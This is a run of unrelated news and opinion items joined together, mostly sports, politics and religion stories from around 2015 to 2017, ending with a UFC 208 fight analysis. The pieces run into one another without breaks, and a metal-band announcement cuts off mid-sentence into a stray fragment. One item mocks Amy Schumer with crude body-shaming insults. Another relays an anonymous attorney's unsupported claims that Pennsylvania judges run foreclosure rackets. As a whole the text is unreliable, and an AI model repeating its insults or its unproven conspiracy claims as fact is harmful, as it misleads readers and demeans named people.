Police linked the factories to a man who was imprisoned for 10 years in 2011.
The Wrights admitted conspiracy to produce cannabis between April 2008 and April this year.
Eleven others have been convicted in relation to the makeshift factories.
Detective Constable Donna Hopper said: "It was a sophisticated set up managed by Vietnamese illegal immigrants who had to live in cramped and dangerous conditions.
"Evidence of the Wright's involvement came as a result of extensive enquiries following the discovery of a number of individual factories."BERLIN (AP) — German Chancellor Angela Merkel on Sunday urged European Union nations to stick together in the face of emerging policy divisions with the U.S., Britain’s decision to leave the bloc and other challenges.
Speaking at a campaign event held in a Bavarian beer tent, Merkel suggested that the G-7 summit in Italy that ended Saturday had served as something of a wakeup call. G-7 leaders were unable to reach unanimous agreement on climate change after U.S. President Donald Trump said he needed more time to decide whether to back a key climate accord.
“The times in which we can fully count on others are somewhat over, as I have experienced in the past few days,” Merkel told the crowd of some 2,500 that gathered to hear her and Bavarian governor Horst Seehofer.
“And so all I can say is that we Europeans must really take our destiny into our own hands,” she said, according to the dpa news agency.
Merkel emphasized the need for continued friendly relations with the U.S. and Britain and also stressed the importance of being good neighbors “wherever that is possible, including with Russia, but also with others.”
“But we need to know we must fight for our own future, as Europeans, for our destiny,” she said.
Despite the Trump administration’s talk of an “America first” policy and ongoing criticism of Germany for its massive trade surplus, the G-7 leaders in Sicily did vow to fight protectionism, reiterating “a commitment to keep our markets open.”
They also agreed to step up pressure on North Korea, to forge closer cooperation in the fight against terrorism, on the possibility of imposing more sanctions on Russia over role in the conflict in Ukraine.
But while six of the seven G-7 nations agreed to stick with their commitment to implement the 2015 Paris Agreement that aims to slow global warming, Trump said he needed more time to decide if the U.S. would abandon the accord.
His administration has argued that U.S. emissions standards are tougher than those set by China, India and others, and therefore have put American businesses at a disadvantage.
After the summit, Merkel called the climate talks “very difficult, if not to say, very unsatisfactory.”If you’ve been watching any awards ceremonies or TV lately, you likely noticed a trend. Hollywood sucks. Tons of stars have been hijacking entertainment platforms to force their political views on people. The result? People are getting sick of it. Amy Schumer and her three chins are no exception. The “comedian” learned the hard way when she waddled out on stage to give an anti-Trump rant at one of her gigs, only to be met with a wave of fervent booing…
About halfway through her set, Schumer invited a Trump supporter named “Dave” to come up on stage and explain how anyone could support the Republican nominee. “Look, I know you’re here to laugh,” she shot back at the crowd as boos echoed around the auditorium. “But it’s really important. I just wanted to spend five minutes talking about him… [inaudible due to booing]… You can leave if you want, but I’m going to talk about it for five minutes.” “Just so you know, if you yell out, you’re going to get thrown out,” she yelled at the crowd. “If you yell, I’m going to throw you out. Ok, people are booing, so go.” Roughly 200 people walked out of the show once Schumer began her political rant…
For someone who speaks out so much about rape, Amy needs to learn some boundaries. Those people didn’t consent to having their ears violated by her verbal diarrhea. Clearly. When they complained about it? She just went on her merry way whether they wanted it or not. Willingness be damned…
Celebrities can talk about whatever they want, even if it’s stupid. In this case, Amy needs to have her lips surgically removed from Hillary’s posterior. Still, that’s not the heart of the issue here. When the NFL got hyper political, their ratings took a huge dive. We’re seeing a similar response among Amy’s fans. When someone shows up to a comedy show, they want to tune out from the world and enjoy a few laughs. Amy decided to thrust them back into the political dumpster instead.
It’s a perfect example of leftist arrogance, of which we have many. The audience paid hundreds of dollars to see Amy Schumer make vagina jokes. Hard to believe, I know. What they didn’t pay for? An evening of political views forced upon them. No wonder hundreds of them walked out during her 10 minute diatribe. Listening to her “ideas” is like wading through a sea of feces…
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Dogs bolt, Bunnies bleed
Things are building at Belmore. Des Hasler’s combination of mobile big ones with soft hands and sneaky little ones with soft hands, and really, really fast ones who can leap through the air and burst through defensive lines and run as if their backsides are on fire, with soft hands, it’s simple stuff, and brutally effective. The Dogs play to their many strengths and put a Sam Kasiano-sized dent in the confidence of South Sydney Rabbitohs on Friday night at ANZ Stadium. Kasiano, Frank Pritchard and James Graham all have more skill than sizeists would give big men credit for. Trent Hodkinson ran the show beautifully, rookie hooker Damien Cook scored a try and set another up with a charge-down and a leaping dead-ball bat-back, and the Morris twins did what the Morris twins do – run screaming-fast, hard, effective, incisive lines. And they’ll welcome Josh Reynolds back in coming weeks and look well set to contest their third grand final in four years. Top squadron.
Souths? Were listless. Appeared listless. You can’t play first grade in the National Rugby League and walk about like you don’t care. But they appear to lack a strike forward (like Sam Burgess) and a super-fly wing man like Dogs man Curtis Rona who sits on 19 tries equal with flying Fijian Eel Semi Radradra. And Joel Reddy and Bryson Goodwin do not. Rabbit people will pray for the knee-meat of Greg Inglis.
Thunder child steps up
The Roosters suffered huge blows with the “four-to-six-week” hamstring tear suffered by half Mitchell Pearce and the season-ending knee injury to powerhouse prop forward Jared Waerea-Hargreaves, the man would rank as Most Scary Forward if the players opened up about their fears. And thus the Roosters premiership favouritism has been immediately reeled in despite them besting comp-leading Brisbane Broncos.
NRL: Sydney Roosters 12-10 Brisbane Broncos - as it happened Read more
Still, Sam Moa will be back next week and he’s more bowling ball than man. And flame-haired thunder-child Dylan Napa stepped up mightily to fill the JWH-sized hole on Friday night. He was great, Napa - hard-charging surges, hard-shouldered beastly “D”, probably his best game in the tri-colours. And if the tribunal had rubbed him out for a “shoulder charge” that saw Napa’s arms nearly envelope the admittedly jolted attacker, I would be writing this column nude. With the acquittal of charges against Jorge Taufua, Aiden Guerra and Isaac Luke (a player with more form than Black Caviar) the tribunal’s made something of a statement on what they believe a “shoulder charge” is. And it seems if there isn’t any “charge” in the act and the player is “bracing” for impact by bunching his shoulder to absorb the other man’s momentum and thus protect himself, then … then that’s cool. That’s good. Carry on, nothing to see here in this funny little court of rugby league law.
Unlike Brisbane whom we’ll be seeing deep into September because they’re tough and worthy and were in this game up to their bootstraps for all 80 minutes.
Sharks: difficult to figure out
In one passage of play on Saturday afternoon at the Shark Park now known as Remondis, the Sharks were the equivalent of a boxer prepared to wear a couple of shots to get a good one in. So far backwards did they pass, fumble and otherwise scoop the Steeden, they lost easily 50 metres in one harum-scarum piece of rugby league. And then they threw it out the backline and made most of the metres back against Wests Tigers who looked every inch the spoon favourite they have become.
The play was a microcosm of the game and indeed the Sharks’ aspirations to the premiership. The Sharks have been super-solid in the forwards – get past the Michael Ennis niggle-business and he’s a tight and rugged forward – and entertaining and even funny everywhere else. Their backs are fleet-footed and in Valentine Holmes and Jack Bird there’s a couple of kids who have a red-hot go. Michael Gordon can really scoot and kicks goals like frozen rope. But even though they’re on 30 points and equal with the Rabbitohs with two rounds to go, you’re still not tipping the Sharks to put any sort of dint in the finals. Sooner or later, one feels, they’ll be found out. (Though whether it’s Parra next week or Manly last round one couldn’t say because those teams were both so bad on Sunday afternoon it should be illegal.)
Here they come again, Manly and Parra
So bad in fact, that it amounted to fraud. Impersonating a footy team, all that. How about them? They were … bad. Really, really bad. As anyone with a passing knowledge of rugby league would tell you, the building blocks of successful rugby league are called “sets”, and teams “complete” these “sets” by holding onto the ball and crashing their way upfield with a combination of mobile giants bashing it up before the tricky ones do their thing in the latter stretches of the six-tackle count. Simple enough.
Yet Manly, by dint of playing a drunk-on-the-beach version of rugby league in conditions closer to Christmas in Scunthorpe, were out-played by Parramatta who were really quite bad also. And those fans who braved the elements witnessed a “fair dinkum bludger of a game”, as the funny talking-head Matty Johns would describe it. And thus those who tipped Manly in tipping comps – not to mention those who, ahem, bet on them giving up 19.5 start with certain corporate bookmakers – were humbled and left to rue their life choices.
Jarryd Hayne continues to impress in second NFL pre-season outing Read more
Elsewhere
Elsewhere, Titans beat Raiders, Dragons beat Panthers, and Knights upset Storm. And Jarryd Hayne ran like a hairy goat afire with a cattle prod for a fend in America and rugby league was left to think how many more NRL stars might like a peek States-side. Roger Tuivasa-Sheck, for instance, would appear to have the happy feet and speediness to be a point of difference in the NFL. Could be wrong. Probably am. Pass those delicious beer nuts.Liverpool have held talks over moves for Roberto Firmino, Carlos Bacca and Salomon Rondon Liverpool have held talks over moves for Roberto Firmino, Carlos Bacca and Salomon Rondon
Sky sources understand Liverpool have held talks with forwards Roberto Firmino, Carlos Bacca and Salomon Rondon - and a deal for Firmino could be completed in the next 24 hours.
The club have widened their search for a new striker to three South American targets after deeming Christian Benteke's £32.5million asking price too expensive.
Sky sources understand a fee has been agreed with Hoffenheim for Firmino and that a deal could be completed in the next 24 hours.
The striker is currently on Copa America duty with Brazil and is seen as an ideal replacement for Raheem Sterling – should he leave the club – with his ability to play across the front three.
Roberto Firmino: One of three South American players in talks Liverpool
Bacca is another player on Liverpool’s radar due to his prolific form for Sevilla and Colombia.
It is believed he would command a fee in the region of £20m. He scored 28 goals last season, including two goals in the Europa League final.
Sky Sports' Spanish football expert Guillem Balague recently said that Bacca wants to leave Sevilla and is open to a move to the Premier League.
“Carlos Bacca at the end of the season told Sevilla he would like a way out,” Balague told Sky Sports News HQ.
Carlos Bacca: Was Sevilla's hero in the Europa League final
“Sevilla would like him to stay, but he does know there is interest from the Premier League and Italy.
"He likes the idea of coming to the Premier League, of course he has been abroad for a few years and would be happy to continue that progression abroad."
Liverpool are also pursuing Rondon, who plays for Zenit St Petersburg and represents Venezuela at international level.
Rondon, who would cost £15m, scored 20 times last season as Zenit won the Russian title.
Salomon Rondon: Currently plays for Zenit St Petersburg
Liverpool have also been linked in the media with Monaco centre-back Aymen Abdennour but Sky Sports News HQ has been told they do not intend to make a move for the player.
Sky Sports News HQ also understands there is currently no interest in Inter Milan's attacking midfielder Mateo Kovacic and as of yet there has not been a second bid made for Southampton defender Nathaniel Clyne.Sen. John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE will return to Arizona to start cancer treatment next week.
“In accordance with the guidance of his physicians, Senator McCain is returning to Arizona to undergo further treatment at Mayo Clinic,” his office said on Friday.
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They added that McCain will “begin a standard post-surgical regimen of targeted radiation and chemotherapy” on Monday.
McCain returned to the Senate on Tuesday, after his office announced last week that he had been diagnosed with brain cancer.
In a floor speech, McCain said that he would only be around the Senate for a “few days” before he would return to Arizona to start cancer treatment.
“I’m going home for a while to treat my illness. I have every intention of returning here and giving many of you cause to regret all the nice things you said about me. And I hope to impress on you again that it is an honor to serve the American people in your company,” he said from the Senate floor on Tuesday.
McCain's office added on Friday that the 80-year-old senator “will maintain a work schedule” during his treatment, and “plans to return to Washington at the conclusion of the August recess.”
If senators stick to their current schedule they will be in Washington until mid-August, when they will leave town until early September.
McCain had hoped the Senate could take up the National Defense Authorization Act before he had to leave Washington again, but Sen. Rand Paul Randal (Rand) Howard PaulThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (R-Ky.) blocked an effort to bring up the bill.
"Senator Rand Paul requested two bipartisan amendments, one on ending indefinite detention and one on [authorizations for use of military force]. He looks forward to working with leadership and the committee to get this done soon," said Sergio Gor, a spokesman for Paul, when asked about the objection.
McCain countered on Friday that "it is unfortunate that one senator chose to block consideration of a bill our nation needs right now, the National Defense Authorization."One of Tasmania’s most respected and highly successful cricketers has today announced his retirement, with 34-year-old spinner Xavier Doherty deciding to announce his immediate retirement from first-class and One-Day cricket after what has been an outstanding career spanning 15 seasons.
Xavier made the decision this week, and while he said it was a “difficult” one to make, he said the time was right and he is looking forward to spending more time with his young family.
“X” or “Dohy” as he’s known, was discovered in George Town in the north of the state before he debuted for the Tigers at the age of 19 in 2001-02. He then went on to represent Tasmania and Australia with much success, his best figures in the shorter form being 4/18 against Victoria in Hobart in the one day final in 2008 and 4/28 against Sri Lanka in 2011.
On debut for his country in 2010 he made impact early with four wickets against Sri Lanka at the MCG. Crowned the Ricky Ponting Medallist in 2019-10 as the best Tasmanian cricketer for that season, he has also been a part of winning three One-Day titles for the Tigers and was also part of the Sheffield Shield win at Blundstone Arena in 2010-11.
“I have absolutely loved being a Tasmanian cricketer and I sometimes have to pinch myself when I think about the opportunities and highlights I have had throughout my career. I feel very grateful to have been part of such a successful, exciting and important era for Tasmanian cricket and I hope to be able to continue to watch more success in the future.
“Receiving my cap for Tasmania as a young 19-year-old was pretty special and to go on to be called up for Australia in 2010 and claim that Baggy Green was a surreal feeling. Both those moments were amazing, however it was celebrating the wins and each other's success with my teammates that I will treasure the most.
“I would like to thank my wife Emma, daughters Scarlett and Eloise, the rest of my amazing extended family, my teammates past and present and the rest of the Cricket Tasmania family who have supported me unconditionally on this journey,” Doherty said.
Cricket Tasmania General Manager of Cricket Andrew Dykes congratulated Xavier Doherty on behalf of Cricket Tasmania and the Tasmanian Tigers and said he has been a fantastic servant of Tasmanian cricket representing the Tigers with pride and distinction.
“Since debuting for Tasmania at the age of 19 Xavier has represented the State 172 times across Sheffield Shield and Domestic One-Day cricket and has been a key contributor to the success Tasmania experienced during his time in the Tigers squad.
“Xavier will be remembered as a team player always going about his business in an unassuming fashion, but consistently playing his role within the team in search of another Tigers’ victory to be shared with his teammates.
“Xavier has achieved a great deal in cricket, both from an individual and a team perspective and we trust he will look back with pride on the many fond memories and friendships he will take from his time with the Tasmanian Tigers. We wish Xavier and his family all the very best and hope to see him around in the future,” Dykes said.
Cricket Tasmania Chairman Andrew Gaggin also paid tribute to Xavier Doherty’s long and distinguished career with Tasmania.
“It was a long journey from George Town Cricket Club to playing in Ashes Tests for Australia, but throughout that career and wherever he played Xavier displayed poise, class, fairness of play and a competitive will to win.
“He will be remembered as a skilful and tight orthodox spinner, a very handy lower-order batsman and one of Tasmania’s greatest cricketers. On behalf of the Board, management, members and Tasmanian cricket fans generally I thank Xavier for his performances over the years and wish him well in the future,” Mr Gaggin said.
Doherty Statistics
Tests: 4 m, 51 runs at 12.75, 7 wickets at 78.29
Sheffield Shield (and first-class for Tasmania): 66 m, 1214 runs at 14.28, 153 wickets at 41.16
All first-class: 71 m, 1272 runs at 14.13, 163 wickets at 42.65
ODIs: 60 m, 101 runs at 14.42, 55 wickets at 40.43
One Day for Tasmania: 106 m, 691 runs at 17.72, 120 wickets at 32.21
T20I: 11 m, 18 runs at 18.00, 10 wickets at 30.00
Domestic T20: 58 m, 120 runs at 17.14, 45 wickets at 34.71Speaking on guarantee of anonymity, an attorney who does pro bono legal work says that the court system in Pennsylvania, is the precise cause of many foreclosures.
Many people that did not have financial difficulties before entering the litigation, had their assets intentionally dissipated and homes forced into default by delays and abusive judges that ignore the law. They further revealed that the state courts have been deliberately issuing constitutionally unsupported opinions, to seize personal assets.
According to this attorney, while the laws clearly provide the courts with tools to protect family assets during divorce litigations, judges have engineered “procedural rules” and “precedent,’ specifically to undermine federal foreclosure law. Since about 1980, these are suspect individuals who have had their judgeships funded by foreclosure mills and other law firms that profit off the fleecing of families. They delay mortgage modifications and order personal funds to pay lawyers, instead of allowing people to pay their bills. They have assisted in seizing tens of thousands of homes, in processes that are no different than other racketeering enterprises. The attorney advises anyone contemplating entering the courts in Pennsylvania, sell your home beforehand if it has a mortgage. Otherwise any proceeds will be locked into escrow and wind up in the pockets of lawyers.
Pennsylvania is supposed to be a judicial foreclosure state- which means you should have the right to a counterclaim and a jury trial. However, over decades, the Superior and Supreme Courts in the Commonwealth, have unethically and knowingly been issuing rulings that are used to violate the state Constitution’s guarantee of jury trial. It is very easy to rig a case when there is instead only a single judge, who the majority of times take homes using summary judgments.
Even if you file a Counterclaim for violations by the banks in a separate action in federal court, the strong relationships between both jurisdictions have also compromised the due process we are supposedly all guaranteed by the U.S. Constitution. Such bench decisions exist, again made without legislation since 1980, such as the federal courts will not interfere with a state court judgment. They further have been dismissing counterclaims against the original plaintiff banks, many of whom were fined for fraudulent practices under the 2011 Department of Justice indictment, by allowing them to substitute straw companies, as foreclosure Plaintiffs.
So even by the remote chance that you prevail in federal court, which does not happen unless you can afford an expensive lawyer, they will still most likely take your home. These criminals that have been operating in the Commonwealth’s Court system for decades have covered every angle- and the homes are often purchased by realtors that are either family members or friends of these judges and foreclosure mill law firms.
Althought the media no longer reports on it, the foreclosure crisis is still in full swing. To add salt to the wound, no one knows where the money went from the Department of Justice Settlement, that was awarded to the State of Pennsylvania. There are outstanding Right to Know requests trying to obtain that information. In many states such as California- law suits have been filed because the money went into the pockets of politicians, instead of the intended recipients that were damaged by bank fraud. In a state that got an “F” from the Center for Public Integrity- what else would you expect in Pennsylvania?
12895total visits,3visits todayJERUSALEM (RNS ) — Rabbi Yehoshua Fass, a well-known American Orthodox rabbi, got the shock of his life a few days ago when he learned his name was on a so-called blacklist drawn up by Israel’s Chief Rabbinate.
“Never in my lifetime has my rabbinic ordination been questioned, nor any of the rabbinic documentation that I have historically provided to the Rabbinate,” Fass wrote in a widely shared Facebook post.
Although Fass, who subsequently contacted one of the chief rabbis and received “a sincere apology” and written clarification that his status “is not in question, or ever was,” he nonetheless expressed concern for the other rabbis on the list.
“How do we help the other rabbis, many of whom don’t have a personal relationship with the Chief Rabbinate and don’t have advocates within Israel (to) defend their reputations?” Fass asked.
The list, which includes the names of 160 rabbis from several countries outside Israel, is “the latest indignity suffered by Diaspora Jews at the hands of Israel’s ultra-Orthodox religious establishment,” said Rabbi Seth Farber, a Modern Orthodox rabbi and vocal critic of the rabbinate’s bureaucracy and lack of transparency.
ITIM, the organization Farber heads, obtained the document, which it calls a “blacklist,” under Israel’s Freedom of Information Law.
Many American Jews hold Prime Minister Benjamin Netanyahu responsible for what they consider the rabbinical establishment’s growing influence in the public sphere.
Last month, under pressure from his ultra-Orthodox coalition partners, Netanyahu backtracked on the cabinet’s promise to create a pluralistic prayer space at the Western Wall that would be on par with the existing Western Wall and maintained by liberal Jews.
The same week, a cabinet committee approved a bill — now frozen — that would ban private conversions and grant the rabbinate sole authority to perform conversions in Israel.
New York Times columnist Thomas Friedman called these actions a “double blow” for Diaspora Jews.
Netanyahu “caved” into demands from the country’s ultra-Orthodox political parties “in order not to risk his own power,” Friedman wrote.
Religious coalition partners have threatened to force new elections if the government tries to erode the religious establishment’s authority.
In the days since the list was published, Kobi Alter, the rabbinate’s spokesman, insisted the document “isn’t a blacklist.” It was, he said, a clerical error. Instead of releasing a list of documents rejected by the agency’s marriage registrar, the rabbinate released a list of the rabbis who had signed the documents.
“It could be that there was just one signature on a ketubah,” or Jewish marriage contract, “when two were required. The list doesn’t relate to the rabbis … or to conversions,” Alter said, insisting that “when examining requests for approval of marriage certificates the Chief Rabbinate does not rely on this list and it does not affect the department’s work.”
Farber called that assertion absurd.
“If the documents were rejected, that’s a rejection of the rabbis who signed them,” he said.
For more than a decade, Farber has demanded that the rabbinate — a government agency that has sole authority over Jewish marriage and divorce — reveal which Diaspora rabbis it recognizes and the criteria it uses.
Knowing which rabbis the rabbinate recognizes and why is vital, Farber said, because the rabbinate requires all Jews wishing to marry in Israel to provide documents proving their Jewishness.
While native Israelis typically present their parents’ rabbinate-certified marriage certificates, the rabbinate requires those without this documentation to provide other proof, such as a letter from a rabbi attesting to their Jewish status.
The problem, Farber said, “is there are no criteria” for what constitutes an acceptable document, from an acceptable Diaspora rabbi. While some can successfully present alternative documents, many are forced to marry abroad because the rabbinate won’t grant them permission.
Alter admitted that the rabbinate “has no criteria,” but said a rabbinic council is in the process of drafting some.
Farber said the rabbinate, like many religious institutions around the world, has become much more stringent over the years. Documents it would have accepted 15 years ago, even from the blacklisted rabbis, are now being rejected.
This rejection “is a fundamental challenge to the Jewish identity of Diaspora Jews and a challenge to the authority of Diaspora rabbis,” he said.
Rabbi Dan Ornstein, a Conservative rabbi on the list, believes the rabbinate “shouldn’t be the final arbiter of Jewish status. This is not a power a government should put into the hands of a religious body. It’s bad for democracy; it’s bad for pluralism.”
But as long as the rabbinate does wield this power, Ornstein said, “it needs to keep its list-making to itself. You put someone’s name on a ‘bad list,’ it gets leaked, so what kind of a toxic atmosphere do you think that creates?”
Rabbi Jason Herman, a Modern Orthodox rabbi on the list, doesn’t expect his reputation to suffer from the inclusion.
“I was actually a bit amused since I saw my name among so many respected colleagues,” he said. “It just seemed like something ridiculous going on in the rabbinate’s bureaucracy.”
But Herman is angry that such a list exists at all.
“It angers me that couples planning the happiest day of their lives need to stress over how to prove their Jewishness without any real direction,” Herman said.
(Michele Chabin is RNS’ Jerusalem correspondent)Pia Raymond is planning to run for Mathieu Eugene's City Council seat in the 40th District in Brooklyn. View Full Caption Courtesy of Pia Raymond
PROSPECT-LEFFERTS GARDENS — A second candidate is now in the race for Councilman Mathieu Eugene’s seat in the 40th Council District.
Longtime area resident Pia Raymond plans to officially launch her 2017 campaign this weekend with a fundraiser in Prospect-Lefferts Gardens, she told DNAinfo New York.
This is Raymond's first run for an elected position. However, her name was floated as a potential challenger to Assemblywoman Diana Richardson earlier this year, according to Kings County Politics.
Raymond, a licensed social worker and mother of two, has been active in the community for years, including at Brooklyn Community Board 9, where she is a member, and through Creating Legacies, a group she founded and runs that hosts events and workshops for Brooklyn families.
Raymond is the second person planning to challenge Eugene for his seat.
Brian Cunningham, the former chief of staff to Councilwoman Laurie Cumbo, registered his candidacy in the 40th District with the city’s Campaign Finance Board in early summer. As of mid-November, Raymond has not yet filed with the Campaign Finance Board to officially begin her campaign, records show.
The 40th Council District covers Prospect-Lefferts Gardens, Kensington, Ditmas Park and parts of Crown Heights, Flatbush and East Flatbush. Eugene has represented the district in City Council since 2007.Vice President Mike Pence speaks to the Latino Coalition's "Make Small Business Great Again Policy Summit" in Washington, Thursday, March 9, 2017. (AP Photo/Manuel Balce Ceneta) The Associated Press
WASHINGTON (AP) — The Latest on President Donald Trump (all times EST):
5:40 p.m.
Vice President Mike Pence says the revelation that former national security adviser Michael Flynn did work before his appointment that could have furthered the interests of the government of Turkey was "an affirmation" of the decision to seek Flynn's resignation.
Pence says in an interview with Fox News that the report was the first he had heard about Flynn's role.
Flynn filed paperwork with the Justice Department acknowledging his work for a company owned by a Turkish businessman — work that could have aided Turkey's government.
Asked if he was disappointed, Pence says, "I think it is an affirmation of the president's decision to ask General Flynn to resign."
The White House said President Donald Trump was not aware of Flynn's work on the matter.
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1:35 p.m.
President Donald Trump has scheduled another campaign rally, this time in Nashville, Tennessee.
The president's campaign website is advertising the event next Wednesday at the Nashville Municipal Auditorium.
It will be the president's second campaign rally since his inauguration. He held his first last month in Florida.
White House Press Secretary Sean Spicer has said the president intends to hit the road to sell the American public on the Republican health care plan that he supports.
It's unclear whether the Tennessee rally is part of that tour.
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12:25 p.m.
President Donald Trump says that contrary to some media reports, plans to overhaul health care are "coming along great."
Trump tweets that, "Despite what you hear in the press, healthcare is coming along great. We are talking to many groups and it will end in a beautiful picture."
The White House and Republican leaders are facing a party badly divided over the high-stakes overhaul campaign. Opposition comes from conservatives like Sen. Rand Paul who say the party should simply repeal President Barack Obama's health care law.
Conservative lawmakers and allied outside groups claim the bill takes too timid a whack at Obama's law. Numerous GOP centrists and governors are antagonistic, worried their states could lose Medicaid payments and face higher costs for hospitals.
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11:52 a.m.
President Donald Trump says access to capital must be preserved because small businesses provide nearly half of all private-sector jobs.
Trump spoke at a White House meeting with members of the National Economic Council and CEOs of small and community banks.
Trump says the discussion is crucial to his jobs agenda. He says community banks are important job creators because they provide half of all loans to small businesses. But he says that loan activity has been dwindling.
Trump also highlighted a recent executive order that he says will help these banks make loans.
Treasury Secretary Steve Mnuchin (mih-NOO'-shin) and Gary Cohn, the council's director, attended the meeting, along with bank executives from Massachusetts, Nebraska, Pennsylvania, Washington state and Texas.
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10:16 a.m.
The Trump administration vows to maintain an "unwavering" commitment to locating an American citizen who disappeared from Iran's Kish Island a decade ago.
The White House says in a statement it "will spare no effort" to bring Robert Levinson home. The former FBI agent was working on an unauthorized CIA mission when he disappeared in Iran in 2007.
The statement issued Thursday says his "family has suffered too much during the last decade" due to Levinson's absence.
A $5 million reward is available for information that leads to Levinson's location and safe return.Draconian To Release New Album In June
Vocalist Anders Jacobsson of the Swedish gothic/doom metal band DRACONIAN has issued the following update:
“We are sorry for keeping the lid on during the writing and recording process of this album. It has been a quite hard route, at least for me, to get things right and in order. I guess, most art is flowing without restraint and changes during the time of its construction, and sometimes even the artist him/herself needs time to comprehend it.
“Jens Bogren of Fascination Street [studios in Örebro, Sweden] sprinkled his magic over the songs during the production and mixing process and each and every song found its way. We are grateful to have such a committed producer and we can only feel blessed by the experience to once again have made another album reality at Fascination Street.
“The new album is called ‘A Rose For The Apocalypse’ and deals with a vast dilemma we’re all facing as one species; the horrors and contradictions we’ve created in our ‘nature-divorced’ system. The title refers to the collapse of this structure, built by mindless human opinion. It also refers to the necessity of its demise. We are trying to capture the gloom of its realization. I don’t know if we’d want to call this a conceptual album, but most songs certainly deal with the same topic in one way or the other. I’ve reached a point in my life when my eyes remain open.
“To most of you, ‘A Rose For The Apocalypse’ might appear a darker, more threatening album compared to the previous [album], ‘Turning Season Within’. And yes, it is different in several ways, but DRACONIAN remains the same.
“I have often said that our new work resembles a mix between the old and the new DRACONIAN and will unite fans of both preferences. While listening to this album, I |
smoothly as they are presented.Anthony Geathers/Getty Images
UFC 208 is over, and after a long Saturday night of underwhelming fights, few will be sad about that. Despite its generally lackluster quality, however, there was still some noteworthy action to discuss.
In the main event, Germaine de Randamie captured the inaugural women's featherweight title in a competitive win over Holly Holm. Anderson Silva recaptured just enough of his old magic to bamboozle both Derek Brunson and the judges into handing him a decision win in the co-main. While hampered by a scary leg injury, Dustin Poirier showed off sharp skills in capturing an exciting decision over Jim Miller.
Let's dig into these three fights.
Dustin Poirier vs. Jim Miller
According to announcers Jon Anik, Joe Rogan and Daniel Cormier, Poirier emphasized defense and controlling his desire to brawl in the training camp leading up to this fight. Given that Michael Johnson knocked him out in brutal fashion just 95 seconds into his last outing, that was a smart adjustment.
That emphasis on safety and technique was clear early in the fight. Poirier pumped a sharp jab and cracked Miller with low kicks as he circled through the cage, cutting off angles and moving smoothly in a departure from his usual stalking, flat-footed style.
When the opportunities came, though, Poirier still couldn't resist the urge to exchange leather in the pocket, something his corner reprimanded him for between rounds.
It's notable, though, how much more responsibly Poirier exchanged in this fight than he has in the past. Defense has always been an issue for him, and he has tended to rely on his footwork and a tight double-forearm guard to avoid his opponent's shots at close range. Against Miller, Poirier was still cutting off angles with his feet, but he also parried, blocked and slipped his head off the center line to set up his counters.
Exchanging in the pocket is always going to dangerous, simply because you're standing at a range where your opponent can hit you. Responsible, layered defense of the type Poirier was using against Miller can minimize that risk, though, and so can forcing an opponent to the fence. When Miller's feet were squared with his back to the cage, he couldn't generate enough power to hurt Poirier.
At heart, Poirier is a puncher, but punchers don't have to be brawlers. Technique, as it is for slick outside strikers, is just as important for fighters who prefer to operate at close range in an opponent's face. Poirier has the raw power, and he's gaining the skills to apply it safely and effectively.
The improved craft Poirier showed against Miller will go a long way toward both extending his career—brawlers aren't known for their longevity—and giving him a better shot against some of the crisp, technical opponents he'll face as he continues to rise up the lightweight ranks.
We can only hope Poirier's leg injury doesn't keep him out of action for too long, because the veteran of 17 fights in the UFC is coming into his own as an elite competitor.
Anderson Silva vs. Derek Brunson
Few observers thought Silva had done enough to beat Brunson over the 15-minute distance, but the judges disagreed, handing the legendary former middleweight champion a 30-27 scorecard and two 29-28s.
What did the judges see that fans and the media didn't?
We can't get inside the scorers' heads, but we can bet they based their decisions on two things: Brunson's inactivity and Silva's swagger.
Brunson ran face-first into Robert Whittaker's fists in November and suffered a knockout loss that snapped his five-fight winning streak. Determined not to do the same thing against the best counterpuncher the sport has ever seen, Brunson overshot the mark and let Silva dictate the pace, range and location of the fight for practically its entirety.
After eating a hard right-hook counter in the first 90 seconds, Brunson refused to throw strikes at range for large chunks of the fight for fear of giving Silva too much to work with. The offense he generated came in the clinch in the form of short hooks and uppercuts that may have been effective but weren't visually impressive. He completed takedowns but did little with them.
Although Brunson landed more strikes and two takedowns (per FightMetric), Silva looked like he was winning the fight. He was generally the one moving forward, throwing big, flashy kicks and knees. He was the one who seemed to have the initiative and control of proceedings.
Whether judges are supposed to score those impressions or not, they do matter. Floyd Mayweather Jr. made a career out of manipulating observers' impressions of his activity, and former lightweight champion Benson Henderson was a master of the art.
Nobody in MMA is better at doing that than Silva, and it takes a herculean effort on the part of judges and fans to just focus on what he's doing rather than how he's doing it. Silva's aura and his ability to suck everyone involved into his style of fighting are legitimate skills in their own right, not an accident.
Leaving aside the questionable decision, Silva didn't look bad against a dangerous 33-year-old contender in Brunson. Whether that means the 41-year-old should be fighting other young, dangerous contenders instead of hopping over to the legends' circuit is another story.
Germaine de Randamie vs. Holly Holm
De Randamie's title-winning effort against Holm won't go down as a barnburner, but it did showcase high levels of technique and, even if it didn't work, a strong game plan from Holm and her camp.
The decision was controversial, but for good reason: de Randamie's best offense consisted of counterpunches, which are hard for observers to see clearly, and Holm spent much of the fight attacking with combinations and pressing de Randamie into the fence.
Even when de Randamie was landing the harder, cleaner punches—and more of them—they weren't easy to pick out in the midst of Holm's whirling limbs. De Randamie's sharp knees did more damage with her back to the fence than Holm did pressing her into the cage, but Holm looked like she was in control even if she wasn't landing real, significant offense.
Those two things go a long way toward explaining the backlash about the decision. Many others took issue with de Randamie's late shots just after the bell twice or with the referee's inability to control the situation and refusal to take a point.
Leaving that aside, let's focus on what the two fighters were trying to do. De Randamie spent most of the fight patiently stalking Holm, working her way into range behind the occasional jab and a steady diet of round kicks. After a while, it became clear she wasn't trying to back Holm into the fence; instead, she was attempting to draw out Holm's blitzes, which de Randamie countered with consummate skill.
Specifically, de Randamie was looking for one punch: the inside-angle counter. When Holm came forward throwing her trademark straight left, de Randamie stepped back and to her right, then pivoted on her lead foot and simultaneously threw her right hand over the top of Holm's left. It's devastating because it lands across the plane of the opponent's body, making it difficult to absorb.
This is the punch that has made Conor McGregor's career, and de Randamie executed it beautifully over and over again. More than anything else, it's what won her the fight.
Holm, by contrast, tried to set a long distance with her side kicks and then step in with her blitzing combinations. Whenever possible, she tried to clinch up with de Randamie to control her against the fence and work takedowns.
